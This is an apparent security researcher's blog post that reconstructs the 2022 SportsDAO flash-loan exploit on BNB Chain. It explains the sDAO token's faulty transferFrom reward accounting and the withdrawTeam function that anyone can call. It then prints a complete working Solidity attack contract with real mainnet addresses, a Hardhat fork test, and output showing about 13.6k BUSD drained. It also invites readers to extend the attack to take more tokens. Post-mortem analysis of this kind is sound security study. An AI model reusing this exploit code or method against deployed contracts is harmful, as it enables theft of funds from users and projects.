@CertiKAlert tweeted out an alert for a flash loan attack on SportsDAO yesterday (November 21, 2022). I spent ~1.5 hours recreating the exploit and analysing the contracts involved to understand the vulnerability, and determined that this was different from the Nereus Finance flash loan attack, so I decided to write a short blog post on it.
As always, you can find a full exploit on my real-world-ethereum-hacks-remastered repo, specifically:
Vulnerability Analysis
I couldn't find a website for SportsDAO, but they seem to be a dApp that sells NFTs for virtual sneakers. They have their own "sDAO" tokens, and the vulnerability in this case is within the sDAO token contract.
From the outside, the sDAO token seems just like any other IERC20 token. However, looking more carefully, there's a few bits of straight up weird functionality. Specifically, the token contract has a few extra functions, and overrides a few IERC20 functions. The ones relevant for this vulnerability are:
-
stakeLP()
- Allows a user to stake BUSD-sDAO LP tokens directly in this contract (this function deposits the LP tokens into this contract). -
getReward()
- Allows a user to collect rewards (sDAO tokens) from the LP tokens they may have staked using the above function. -
withdrawTeam()
- Transfers all LP tokens in this contract to a pre-setTEAM
address. This function is callable by any user externally. -
transferFrom()
- There's added functionality that deals with calculating the total staking reward tokens accumulated when sDAO tokens are transferred to the BUSD-sDAO LP token contract.
The vulnerability is twofold:
-
The added functionality inside
transferFrom()
is incorrect. The same added functionality exists in thetransfer()
function, which seems to be correct. -
The ability to call
withdrawTeam()
externally allows any user to drain the LP tokens from the wallet. It gets drained to an EOA address owned by the SportsDAO team, which is fine, but the problem is that the amount of rewards to be sent to users are calculated using the amount of LP tokens in the contract (as we'll see below). The attacker abused this to get a huge amount of rewards tokens that they weren't entitled to.
Lets have a look at the relevant code that handles staking LP tokens and calculating rewards:
function stakeLP(uint _lpAmount) external updateReward(msg.sender) {
require(_lpAmount >= 1e18, "LP stake must more than 1");
LPInstance.transferFrom(_msgSender(), address(this), _lpAmount);
userLPStakeAmount[_msgSender()] += _lpAmount;
}
This function simply transfers LP tokens from the caller to this contract, and tracks it inside the userLPStakeAmount
mapping.
Now, a user may call the getReward()
function to claim their accumulated reward tokens (in the form of sDAO):
function getReward() public updateReward(msg.sender) {
uint _reward = pendingToken(_msgSender());
require(_reward > 0, "sDAOLP stake Reward is 0");
userRewards[_msgSender()] = 0;
if (_reward > 0) {
_standardTransfer(address(this), _msgSender(), _reward);
return ;
}
}
modifier updateReward(address account) {
PerTokenRewardLast = getPerTokenReward();
lastTotalStakeReward = totalStakeReward;
userRewards[account] = pendingToken(account);
userRewardPerTokenPaid[account] = PerTokenRewardLast;
_;
}
function pendingToken(address account) public view returns(uint) {
return
userLPStakeAmount[account]
* (getPerTokenReward() - userRewardPerTokenPaid[account])
/ (1e18)
+ (userRewards[account]);
}
function getPerTokenReward() public view returns(uint) {
if ( LPInstance.balanceOf(address(this)) == 0) {
return 0;
}
uint newPerTokenReward = (totalStakeReward - lastTotalStakeReward) * 1e18 / LPInstance.balanceOf(address(this));
return PerTokenRewardLast + newPerTokenReward;
}
To break it down a bit, getReward()
uses the updateReward()
modifier to update the user's rewards before the function actually runs. This modifier updates a few storage variables, but the one we care about is PerTokenRewardLast
. This variable stores the most recent reward amount per token.
As seen above, the reward amount per token is calculated inside getPerTokenReward()
using the following formula:
uint newPerTokenReward = (totalStakeReward - lastTotalStakeReward) * 1e18
/ LPInstance.balanceOf(address(this));
Now, remember the withdrawTeam()
function that's callable by absolutely anyone? If we call that function to drain the LP tokens from this contract, and then send a tiny amount of LP tokens to this contract, then this function would end up calculating a huge value for newPerTokenReward
, provided that totalStakeReward - lastTotalStakeReward
is a decently large number.
So, the only constraint now is making sure totalStakeReward - lastTotalStakeReward
is a large-ish number. transferFrom()
allows us to do just that:
function transferFrom(
address from,
address to,
uint amount
) public virtual override returns (bool) {
address spender = _msgSender();
if ( to == address(LPInstance) && tx.origin != address(0x547d834975279964b65F3eC685963fCc4978631E) ) {
totalStakeReward += amount * 7 / 100;
_standardTransfer(from, address(this), amount * 7 / 100 );
_standardTransfer(from, address(0x0294a4C3E85d57Eb3bE568aaC17C4243d9e78beA), amount / 100 );
_burn(from, amount / 50);
amount = amount * 90 / 100;
}
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
The added functionality checks to see if the address we're sending sDAO tokens to is the BUSD-sDAO LP token address. If it is, then 7% of the amount is added to totalStakeReward
. The issue here is any user is able to update totalStakeReward
, which is used directly in the rewards per token calculation. This should not be functionality accessible by any user.
Similar (but correct) functionality exists inside the transfer()
function:
function transfer(address to, uint amount) public virtual override returns (bool) {
address owner = _msgSender();
if ( owner == address(LPInstance) && tx.origin != address(0x547d834975279964b65F3eC685963fCc4978631E) ) {
totalStakeReward += amount * 7 / 100;
// ...
}
_transfer(owner, to, amount);
return true;
}
Here, the msg.sender
is required to be the LP token contract in order to update totalStakeReward
. This seems to be the correct functionality.
Plan of Attack
In order to keep the blog post short, that's as much as I'll get into the vulnerability. I invite the reader to read through the rest of the code to see how the storage variables interact to calculate the user's final reward before sending it to them. Specifically, you'll note that after updateReward()
updates the userReward
mapping for that user to a large number (as explained above), the next call to pendingToken()
inside getReward()
will return this same large number for the amount of rewards to be sent to the user.
Now, knowing the above, our plan of attack is as follows:
- Get access to some BUSD and sDAO.
- Get access to some amount of BUSD-sDAO LP tokens using the above tokens.
- Stake a decent amount of them so that the
userLPStakeAmount[our_address]
mapping has a value greater than 0. - Use the bug in
transferFrom()
to updatetotalStakeReward
to a higher value (by transferring sDAO tokens to the LP token contract). - Use
withdrawTeam()
to set the sDAO token contract's LP token balance to 0. - Send a very small amount of LP tokens to the sDAO token contract.
- Call
getReward()
. This will calculate a huge reward amount for us due to the bugs described above, and we'll get way more sDAO tokens returned back to us than we ever used in any of the above steps.
The attacker used this DPPOracle contract to get a flash loan for 500 BUSD. They used this BUSD to subsequently get some sDAO and BUSD-sDAO LP tokens.
The surprising aspect of a flash loan from this contract is that there is no extra fee that needs to be paid when returning the loan. If you flash loan 500 BUSD, you're only required to return 500 BUSD to complete the transaction. I found that surprising considering most flash loans require you to pay a fee.
I'll paste the full attack scripts below, but you can also find them on my repository.
Note that the attack could have been optimised further to steal all the sDAO tokens that were in this contract. The SportsDAO team already removed the reference to the LP token in the contract's storage, so its not possible to perform this attack anymore. I invite curious readers to attempt to optimise the attack further.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'hardhat/console.sol';
interface IFlashLoaner {
function flashLoan(
uint256 baseAmount,
uint256 quoteAmount,
address _assetTo,
bytes calldata data
) external;
}
interface IPancakeRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
interface IBEP20 {
function approve(address, uint256) external returns (bool);
function stakeLP(uint256 _lpAmount) external;
function balanceOf(address) external returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function withdrawTeam(address _token) external;
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
function getReward() external;
}
interface IBEP20Pair is IBEP20 {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
contract SportsDAOAttack {
IFlashLoaner flashLoaner = IFlashLoaner(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
IPancakeRouter router = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IBEP20 busd = IBEP20(0x55d398326f99059fF775485246999027B3197955);
IBEP20 sdao = IBEP20(0x6666625Ab26131B490E7015333F97306F05Bf816);
IBEP20 wbnb = IBEP20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); // Technically not IBEP20
IBEP20Pair busdsdao = IBEP20Pair(0x333896437125fF680f146f18c8A164Be831C4C71);
function exploit() public {
// Get the flashloan of 500 BUSD, calls `DPPFlashLoanCall()`
console.log('BUSD balance before attack: ', busd.balanceOf(address(this)) / 1 ether);
flashLoaner.flashLoan(0, 500 ether, address(this), 'A');
console.log('BUSD balance after attack: ', busd.balanceOf(address(this)) / 1 ether);
// Transfer all the stolen BUSD to ourselves
busd.transfer(msg.sender, busd.balanceOf(address(this)));
}
function DPPFlashLoanCall(
address,
uint256,
uint256,
bytes calldata
) public {
// Required approvals
busd.approve(address(router), type(uint256).max);
sdao.approve(address(router), type(uint256).max);
sdao.approve(address(this), type(uint256).max); // Required for transferFrom
wbnb.approve(address(router), type(uint256).max);
busdsdao.approve(address(router), type(uint256).max);
busdsdao.approve(address(sdao), type(uint256).max);
busdsdao.approve(address(busd), type(uint256).max);
// Swap 250 BUSD for sDAO
address[] memory path = new address[](2);
path[0] = address(busd);
path[1] = address(sdao);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
250 ether,
0,
path,
address(this),
block.timestamp * 5
);
// Swap half of our sDAO and all our remaining 250 BUSD for LP tokens
router.addLiquidity(
address(sdao),
address(busd),
sdao.balanceOf(address(this)) / 2,
250 ether,
0,
0,
address(this),
block.timestamp * 5
);
// Stake half of our LP tokens
sdao.stakeLP(busdsdao.balanceOf(address(this)) / 2);
// Transfer the remaining sDAO to the LP token address using
// `transferFrom()`, required to get a higher totalStakeReward
sdao.transferFrom(address(this), address(busdsdao), sdao.balanceOf(address(this)));
// Withdraw all the LP tokens to the TEAM
sdao.withdrawTeam(address(busdsdao));
// Transfer a tiny amount of our LP tokens to sDAO
busdsdao.transfer(address(sdao), 0.013 ether);
// Now claim reward.
//
// The `updateReward()` modifier will set `PerTokenRewardLast` to an a high
// value since the amount of LP tokens left in the contract is so little.
// This will cause us to get a huge reward.
sdao.getReward();
// Swap all our sDAO for BUSD
path[0] = address(sdao);
path[1] = address(busd);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
sdao.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp * 5
);
// Still have a bit of BUSD-sDAO LP tokens left in this contract. Can be
// swapped back to BUSD and sDAO tokens using the router's
// `removeLiquidity()` function. Left as an exercise for the reader.
// Return the BUSD we flash loaned
busd.transfer(address(flashLoaner), 500 ether);
}
}
import { expect } from 'chai';
import { Contract, Signer } from 'ethers';
import { ethers } from 'hardhat';
import { getAbi } from '../utils/abi';
import { forkFrom } from '../utils/fork';
describe('SportsDAO Exploit', async () => {
let attacker: Signer;
let attackerContract: Contract;
let busdContract: Contract;
const BUSD_ADDRESS = '0x55d398326f99059fF775485246999027B3197955';
before(async () => {
// One block before the attack occurred.
// Txn: https://bscscan.com/tx/0xb3ac111d294ea9dedfd99349304a9606df0b572d05da8cedf47ba169d10791ed
await forkFrom(23241440);
// Get an attacker EOA that we can use
[attacker] = await ethers.getSigners();
// Deploy the attacker script
attackerContract = await (
await ethers.getContractFactory('SportsDAOAttack', attacker)
).deploy();
// NOTE: The code below is used for testing purposes so our flash loan
// always gets repaid when testing the unfinished exploit.
//
// Mint a bunch of BUSD to ourselves
const busd_abi = await getAbi('abis/BSC-USDABI.txt');
busdContract = await ethers.getContractAt(busd_abi, BUSD_ADDRESS);
/*const impersonated = await ethers.getImpersonatedSigner(
'0xf68a4b64162906eff0ff6ae34e2bb1cd42fef62d',
);
await busdContract.connect(impersonated).transferOwnership(attacker.getAddress());
await busdContract.connect(attacker).mint(ethers.utils.parseEther('500'));
await busdContract
.connect(attacker)
.transfer(attackerContract.address, ethers.utils.parseEther('500'));*/
});
it('Exploits successfully', async () => {
// Run our exploit
await attackerContract.exploit();
// We should expect to have more than 0 BUSD
expect(await busdContract.balanceOf(attacker.getAddress())).to.be.gt('0');
});
});
Exploit output:
$ yarn sportsdao
yarn run v1.22.19
$ npx hardhat test test/sportsdao_attack/sportsdao_attack.test.ts
Compiled 1 Solidity file successfully
SportsDAO Exploit
BUSD balance before attack: 0
BUSD balance after attack: 13661
✔ Exploits successfully (249ms)
1 passing (7s)
Done in 8.08s.
Conclusion
This was yet another flash loan attack, only this time, the vulnerability was brought into existence by the SportsDAO team when they attempted to implement staking + rewards functionality into an IERC20 contract. Ideally, this sort of functionality should be implemented in a separate vault-style contract so that the same contract does not unnecessarily keep a balance of multiple tokens.
The attacker was able to utilize these vulnerabilities to get away with ~13.6k worth of BUSD. Although, I'd consider SportsDAO lucky, because the attacker could have performed this attack multiple times and gotten away with way more than they did. The sDAO contract still had ~418k sDAO tokens left after the attack.
As always, if you have any questions, you can find me on twitter or mastodon. Open to any feedback / criticism / questions :)